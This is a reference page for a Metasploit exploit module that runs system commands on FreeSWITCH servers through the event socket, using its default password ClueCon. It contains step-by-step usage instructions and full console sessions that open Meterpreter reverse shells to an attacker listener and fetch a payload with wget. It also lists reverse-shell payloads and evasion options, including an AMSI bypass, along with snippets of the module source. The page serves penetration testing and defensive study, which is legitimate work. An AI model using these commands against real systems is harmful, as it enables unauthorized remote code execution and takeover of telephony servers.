FreeSWITCH Event Socket Command Execution - Metasploit
This page contains detailed information about how to use the exploit/multi/misc/freeswitch_event_socket_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: FreeSWITCH Event Socket Command Execution
Module: exploit/multi/misc/freeswitch_event_socket_cmd_exec
Source code: modules/exploits/multi/misc/freeswitch_event_socket_cmd_exec.rb
Disclosure date: 2019-11-03
Last modification time: 2019-11-02 22:03:02 +0000
Supported architecture(s): cmd, x86, x64
Supported platform(s): BSD, Linux, Unix, Windows
Target service / protocol: -
Target network port(s): 8021
List of CVEs: -
This module uses the FreeSWITCH event socket interface to
execute system commands using the system API command. The
event socket service is enabled by default and listens on
TCP port 8021 on the local network interface. This module
has been tested successfully on FreeSWITCH versions:
1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview
virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and
1.10.1~64bit on Windows 7 SP1 (EN) (x64).
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/multi/misc/freeswitch_event_socket_cmd_exec
msf exploit(freeswitch_event_socket_cmd_exec) > exploit
Required Options
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT: The target port
Knowledge Base
Description
This module uses the FreeSWITCH event socket interface
to execute system commands using the system API command.
The event socket service is enabled by default and listens on TCP port 8021 on the local network interface.
Vulnerable Application
FreeSWITCH is a free and open-source software defined telecommunications stack for real-time communication, WebRTC, telecommunications, video, and Voice over Internet Protocol.
The Event Socket
mod_event_socket is a TCP based interface to control FreeSWITCH and is enabled by default.
The default values are to bind to 127.0.0.1 port 8021 and the default password is ClueCon.
This module has been tested successfully on FreeSWITCH versions:
1.6.10-17-726448d~44bit on FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu 19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64).
Source and Installers:
Verification Steps
- Start
msfconsole - Do:
use exploit/multi/misc/freeswitch_event_socket_cmd_exec - Do:
set rhosts <ip> - Do:
set rport <port>(default:8021) - Do:
set password <password>(default:ClueCon) - Do:
set target <target> - Do:
run - You should get a session
Options
Password
The password for the event socket. (default: ClueCon)
Scenarios
Windows PowerShell Target
msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1"
[*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.242)
[*] Local TCP relay created: :1234 <-> 127.0.0.1:8021
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234
rport => 1234
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux (Dropper)
2 PowerShell (In-Memory)
3 Windows (In-Memory)
4 Windows (Dropper)
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 2
target => 2
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] 127.0.0.1:1234 - Login success
[*] 127.0.0.1:1234 - Sending payload (310 bytes) ...
[*] Sending stage (180291 bytes) to 172.16.191.242
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.242:50706) at 2019-11-02 17:31:33 -0400
meterpreter > getuid
Server username: TEST\user
meterpreter > pwd
C:\Program Files\FreeSWITCH
meterpreter > sysinfo
Computer : TEST
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
meterpreter >
Linux Dropper Target
msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1"
[*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.172)
[*] Local TCP relay created: :1234 <-> 127.0.0.1:8021
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234
rport => 1234
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux (Dropper)
2 PowerShell (In-Memory)
3 Windows (In-Memory)
4 Windows (Dropper)
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 1
target => 1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set lhost 172.16.191.165
lhost => 172.16.191.165
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmdstager::flavor wget
cmdstager::flavor => wget
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] Started reverse TCP handler on 172.16.191.165:4444
[*] 127.0.0.1:1234 - Login success
[*] 127.0.0.1:1234 - Sending payload (150 bytes) ...
[*] 127.0.0.1:1234 - Using URL: http://0.0.0.0:8080/WuWvURUHveqo5
[*] 127.0.0.1:1234 - Local IP: http://172.16.191.165:8080/WuWvURUHveqo5
[*] 127.0.0.1:1234 - Client 172.16.191.172 (Wget/1.16 (linux-gnu)) requested /WuWvURUHveqo5
[*] 127.0.0.1:1234 - Sending payload to 172.16.191.172 (Wget/1.16 (linux-gnu))
[*] Sending stage (985320 bytes) to 172.16.191.172
[*] 127.0.0.1:1234 - Command Stager progress - 100.00% done (120/120 bytes)
[*] Meterpreter session 2 opened (172.16.191.165:4444 -> 172.16.191.172:42478) at 2019-11-02 17:34:59 -0400
[*] 127.0.0.1:1234 - Server stopped.
meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > pwd
/
meterpreter > sysinfo
Computer : 172.16.191.172
OS : Debian 8.5 (Linux 3.16.0-4-amd64)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter >
UNIX Generic Command Target
msf5 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > sessions -i 1 -C "portfwd add -l 1234 -p 8021 -r 127.0.0.1"
[*] Running 'portfwd add -l 1234 -p 8021 -r 127.0.0.1' on meterpreter session 1 (172.16.191.172)
[*] Local TCP relay created: :1234 <-> 127.0.0.1:8021
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set rport 1234
rport => 1234
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux (Dropper)
2 PowerShell (In-Memory)
3 Windows (In-Memory)
4 Windows (Dropper)
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set target 0
target => 0
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set payload cmd/unix/generic
payload => cmd/unix/generic
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set cmd "id; uname -a"
cmd => id; uname -a
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > set verbose true
verbose => true
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > run
[*] 127.0.0.1:1234 - Login success
[*] 127.0.0.1:1234 - Sending payload (12 bytes) ...
[*] 127.0.0.1:1234 - Response: Content-Type: api/response
Content-Length: 159
uid=999(freeswitch) gid=999(freeswitch) groups=999(freeswitch)
Linux freeswitch-vm 3.16.0-4-amd64 #1 SMP Debian 3.16.36-1+deb8u1 (2016-09-03) x86_64 GNU/Linux
[*] Exploit completed, but no session was created.
msf5 exploit(multi/misc/freeswitch_event_socket_cmd_exec) >
Go back to menu.
Msfconsole Usage
Here is how the multi/misc/freeswitch_event_socket_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/misc/freeswitch_event_socket_cmd_exec
[*] Using configured payload cmd/unix/reverse
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show info
Name: FreeSWITCH Event Socket Command Execution
Module: exploit/multi/misc/freeswitch_event_socket_cmd_exec
Platform: Windows, Linux, Unix, BSD
Arch: cmd, x86, x64
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2019-11-03
Provided by:
bcoles <[email protected]>
Available targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux (Dropper)
2 PowerShell (In-Memory)
3 Windows (In-Memory)
4 Windows (Dropper)
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8021 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload information:
Avoid: 5 characters
Description:
This module uses the FreeSWITCH event socket interface to execute
system commands using the `system` API command. The event socket
service is enabled by default and listens on TCP port 8021 on the
local network interface. This module has been tested successfully on
FreeSWITCH versions: 1.6.10-17-726448d~44bit on
FreeSWITCH-Deb8-TechPreview virtual machine; 1.8.4~64bit on Ubuntu
19.04 (x64); and 1.10.1~64bit on Windows 7 SP1 (EN) (x64).
References:
https://cwe.mitre.org/data/definitions/260.html
https://freeswitch.org/confluence/display/FREESWITCH/mod_event_socket
Module Options
This is a complete list of options available in the multi/misc/freeswitch_event_socket_cmd_exec exploit:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show options
Module options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD ClueCon yes FreeSWITCH event socket password
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 8021 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Payload options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix (In-Memory)
Advanced Options
Here is a complete list of advanced options supported by the multi/misc/freeswitch_event_socket_cmd_exec exploit:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show advanced
Module advanced options (exploit/multi/misc/freeswitch_event_socket_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CMDSTAGER::DECODER no The decoder stub to use.
CMDSTAGER::FLAVOR auto no The CMD Stager to use. (Accepted: auto, curl, wget, certutil, vbs)
CMDSTAGER::SSL false no Use SSL/TLS for supported stagers
CMDSTAGER::TEMP no Writable directory for staged files
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
Powershell::encode_final_payload false yes Encode final payload for -EncodedCommand
Powershell::encode_inner_payload false yes Encode inner payload for -EncodedCommand
Powershell::exec_in_place false yes Produce PSH without executable wrapper
Powershell::exec_rc4 false yes Encrypt PSH with RC4
Powershell::method reflection yes Payload delivery method (Accepted: net, reflection, old, msil)
Powershell::no_equals false yes Pad base64 until no "=" remains
Powershell::noninteractive true yes Execute powershell without interaction
Powershell::persist false yes Run the payload in a loop
Powershell::prepend_protections_bypass true yes Prepend AMSI/SBL bypass
Powershell::prepend_sleep no Prepend seconds of sleep
Powershell::remove_comspec false yes Produce script calling powershell directly
Powershell::strip_comments true yes Strip comments
Powershell::strip_whitespace false yes Strip whitespace
Powershell::sub_funcs false yes Substitute function names
Powershell::sub_vars true yes Substitute variable names
Powershell::wrap_double_quotes true yes Wraps the -Command argument in single quotes
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/misc/freeswitch_event_socket_cmd_exec module can exploit:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Unix (In-Memory)
1 Linux (Dropper)
2 PowerShell (In-Memory)
3 Windows (In-Memory)
4 Windows (Dropper)
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/misc/freeswitch_event_socket_cmd_exec exploit:
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
18 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
19 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
22 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
23 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
24 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
25 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
26 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
27 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
28 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
29 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
30 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
31 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
32 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
33 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
34 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
35 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
36 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
37 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
38 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
39 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
40 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
41 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
42 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
43 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
44 payload/generic/custom normal No Custom Payload
45 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
46 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/misc/freeswitch_event_socket_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/misc/freeswitch_event_socket_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Access denied by network ACL
Here is a relevant code snippet related to the "Access denied by network ACL" error message:
84: connect
85: banner = sock.get_once.to_s
86: disconnect
87:
88: if banner.include?('Access Denied, go away.') || banner.include?('text/rude-rejection')
89: vprint_error 'Access denied by network ACL'
90: return CheckCode::Safe
91: end
92:
93: unless banner.include?('Content-Type: auth/request')
94: return CheckCode::Safe
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
100: def auth(password)
101: sock.put "auth #{password}\n\n"
102: res = sock.get_once.to_s
103:
104: unless res.include? 'Content-Type: command/reply'
105: fail_with Failure::UnexpectedReply, 'Unexpected reply'
106: end
107:
108: unless res.include?('Reply-Text: +OK accepted')
109: fail_with Failure::NoAccess, 'Login failed'
110: end
Login failed
Here is a relevant code snippet related to the "Login failed" error message:
104: unless res.include? 'Content-Type: command/reply'
105: fail_with Failure::UnexpectedReply, 'Unexpected reply'
106: end
107:
108: unless res.include?('Reply-Text: +OK accepted')
109: fail_with Failure::NoAccess, 'Login failed'
110: end
111:
112: print_status 'Login success'
113: end
114:
Unexpected reply
Here is a relevant code snippet related to the "Unexpected reply" error message:
117:
118: sock.put "api #{api_function} #{cmd}\n\n"
119: res = sock.get_once.to_s
120:
121: unless res.include? 'Content-Type: api/response'
122: fail_with Failure::UnexpectedReply, 'Unexpected reply'
123: end
124:
125: vprint_status "Response: #{res}"
126: end
127:
Target is not vulnerable
Here is a relevant code snippet related to the "Target is not vulnerable" error message:
125: vprint_status "Response: #{res}"
126: end
127:
128: def exploit
129: unless check == CheckCode::Appears
130: fail_with Failure::NotVulnerable, 'Target is not vulnerable'
131: end
132:
133: connect
134: banner = sock.get_once.to_s
135:
Go back to menu.
Related Pull Requests
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/misc/freeswitch_event_socket_login
- exploit/multi/misc/bmc_patrol_cmd_exec
- exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
- exploit/multi/misc/veritas_netbackup_cmdexec
- exploit/multi/misc/arkeia_agent_exec
- exploit/multi/misc/consul_rexec_exec
- exploit/multi/misc/consul_service_exec
- exploit/multi/misc/hp_data_protector_exec_integutil
- exploit/multi/misc/hp_vsa_exec
- exploit/multi/misc/legend_bot_exec
- exploit/multi/misc/nomad_exec
- exploit/multi/misc/openview_omniback_exec
- exploit/multi/misc/osgi_console_exec
- exploit/multi/misc/pbot_exec
- exploit/multi/misc/persistent_hpca_radexec_exec
- exploit/multi/misc/ra1nx_pubcall_exec
- exploit/multi/misc/teamcity_agent_xmlrpc_exec
- exploit/multi/misc/w3tw0rk_exec
- exploit/multi/misc/xdh_x_exec
- exploit/multi/http/eventlog_file_upload
- exploit/multi/http/wp_plugin_modern_events_calendar_rce
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/http/hp_sitescope_issuesiebelcmd
- exploit/multi/http/makoserver_cmd_exec
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/multi/http/moodle_cmd_exec
- exploit/multi/http/openmediavault_cmd_exec
- exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
- exploit/multi/postgres/postgres_copy_from_program_cmd_exec
- exploit/linux/http/pandora_fms_events_exec
- exploit/windows/http/oracle_event_processing_upload
- exploit/windows/local/bypassuac_eventvwr
- exploit/windows/local/panda_psevents
- exploit/windows/misc/manageengine_eventlog_analyzer_rce
- exploit/windows/scada/realwin_scpc_txtevent
Authors
- bcoles
Version
This page has been produced using Metasploit Framework version 6.2.7-dev. For more modules, visit the Metasploit Module Library.
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